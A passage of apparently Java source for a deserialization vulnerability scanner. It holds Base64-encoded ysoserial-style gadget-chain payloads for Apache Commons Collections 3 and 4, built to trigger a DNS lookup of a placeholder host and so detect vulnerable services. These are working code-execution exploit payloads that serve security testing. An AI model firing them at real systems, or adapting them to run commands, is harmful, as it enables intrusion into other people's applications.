bnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAJzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAN2NvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRyQVhGaWx0ZXIAAAAAAAAAAAAAAHhwc3IAPm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnN0YW50aWF0ZVRyYW5zZm9ybWVyNIv0f6SG0DsCAAJbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAXNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzcQB+ABhMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAAGW8r+ur4AAAAxADQKAAMAIgcAMgcAJQcAJgEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQWtIJPzkd3vPgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATU3R1YlRyYW5zbGV0UGF5bG9hZAEADElubmVyQ2xhc3NlcwEANUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAKAEAM3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBAAg8Y2xpbml0PgEABVhYWFhYCAAqAQAUamF2YS9uZXQvSW5ldEFkZHJlc3MHACwBAAlnZXRCeU5hbWUBACooTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL25ldC9JbmV0QWRkcmVzczsMAC4ALwoALQAwAQAeeXNvc2VyaWFsL1B3bmVyMjA2Mzg1NTg0NzQwODc0AQAgTHlzb3NlcmlhbC9Qd25lcjIwNjM4NTU4NDc0MDg3NDsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAuAA4AAAAMAAEAAAAFAA8AMwAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAzAA4AAAAgAAMAAAABAA8AMwAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA3AA4AAAAqAAQAAAABAA8AMwAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAYAAIAAgAAAAynAAMBTBIruAAxV7EAAAAAAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ACMAAAHUyv66vgAAADEAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAOwAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAXZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHBzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4dnIAEmphdmEubGFuZy5PdmVycmlkZQAAAAAAAAAAAAAAeHBxAH4ALg=="));
        payloadsDNS.put("Apache Commons Collections 3 Alternate payload 2 (DNS)", Base64.decodeBase64("rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAb3QAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAAL3EAfgANcQB+AA5xAH4AD3NxAH4ACwAAACZ0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABHNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABRqYXZhLm5ldC5JbmV0QWRkcmVzcy2bV6+f4+vbAwADSQAHYWRkcmVzc0kABmZhbWlseUwACGhvc3ROYW1lcQB+AAV4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAFWwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AAlnZXRCeU5hbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAF2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB0AAlnZXRNZXRob2R1cQB+ADIAAAACcQB+ADV2cQB+ADJzcQB+ACt1cQB+AC8AAAACdXEAfgAyAAAAAXEAfgA1dXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQABVhYWFhYdAAGaW52b2tldXEAfgAyAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AL3NxAH4AJ3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eA=="));
        payloadsDNS.put("Apache Commons Collections 3 Alternate payload 3 (DNS)", Base64.decodeBase64("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABHNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABRqYXZhLm5ldC5JbmV0QWRkcmVzcy2bV6+f4+vbAwADSQAHYWRkcmVzc0kABmZhbWlseUwACGhvc3ROYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4AElsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAJZ2V0QnlOYW1ldXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAABdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdAAJZ2V0TWV0aG9kdXEAfgAbAAAAAnEAfgAednEAfgAbc3EAfgAUdXEAfgAYAAAAAnVxAH4AGwAAAAFxAH4AHnVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AAVYWFhYWHQABmludm9rZXVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB+ABhzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4"));
        payloadsDNS.put("Apache Commons Collections 3 Alternate payload 4 (DNS)", Base64.decodeBase64("rO0ABXNyABNqYXZhLnV0aWwuSGFzaHRhYmxlE7sPJSFK5LgDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAACHcIAAAACwAAAAJzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAARzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAFGphdmEubmV0LkluZXRBZGRyZXNzLZtXr5/j69sDAANJAAdhZGRyZXNzSQAGZmFtaWx5TAAIaG9zdE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAOWwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AAlnZXRCeU5hbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAF2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB0AAlnZXRNZXRob2R1cQB+ABcAAAACcQB+ABp2cQB+ABdzcQB+ABB1cQB+ABQAAAACdXEAfgAXAAAAAXEAfgAadXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQABVhYWFhYdAAGaW52b2tldXEAfgAXAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AFHNxAH4ACnNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAADHcIAAAAEAAAAAF0AAJ5eXEAfgAseHhxAH4ALHNxAH4AAnEAfgAHc3EAfgAtP0AAAAAAAAx3CAAAABAAAAABdAACelpxAH4ALHh4c3EAfgAqAAAAAng="));
        payloadsDNS.put("Apache Commons Collections 4 (DNS)", Base64.decodeBase64("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAAObmV3VHJhbnNmb3JtZXJ1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgALTAAFX25hbWVxAH4ACkwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAAGWcr+ur4AAAAxADQKAAMAIgcAMgcAJQcAJgEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQWtIJPzkd3vPgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATU3R1YlRyYW5zbGV0UGF5bG9hZAEADElubmVyQ2xhc3NlcwEANUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAKAEAM3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBAAg8Y2xpbml0PgEABVhYWFhYCAAqAQAUamF2YS9uZXQvSW5ldEFkZHJlc3MHACwBAAlnZXRCeU5hbWUBACooTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL25ldC9JbmV0QWRkcmVzczsMAC4ALwoALQAwAQAdeXNvc2VyaWFsL1B3bmVyMzMwMDA1MDU1NjEwODQBAB9MeXNvc2VyaWFsL1B3bmVyMzMwMDA1MDU1NjEwODQ7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALgAOAAAADAABAAAABQAPADMAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAAMwAOAAAAIAADAAAAAQAPADMAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAANwAOAAAAKgAEAAAAAQAPADMAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAGAACAAIAAAAMpwADAUwSK7gAMVexAAAAAAACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAYAAAB1Mr+ur4AAAAxABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADsADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHhzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXg="));
        payloadsDNS.put("Apache Commons Collections 4 Alternate payload (DNS)", Base64.decodeBase64("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAuW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwdXIALltMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5UcmFuc2Zvcm1lcjs5gTr7CNo/pQIAAHhwAAAAAnNyADxvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnM0LmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAN2NvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRyQVhGaWx0ZXIAAAAAAAAAAAAAAHhwc3IAP29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW5zdGFudGlhdGVUcmFuc2Zvcm1lcjSL9H+khtA7AgACWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7WwALaVBhcmFtVHlwZXN0ABJ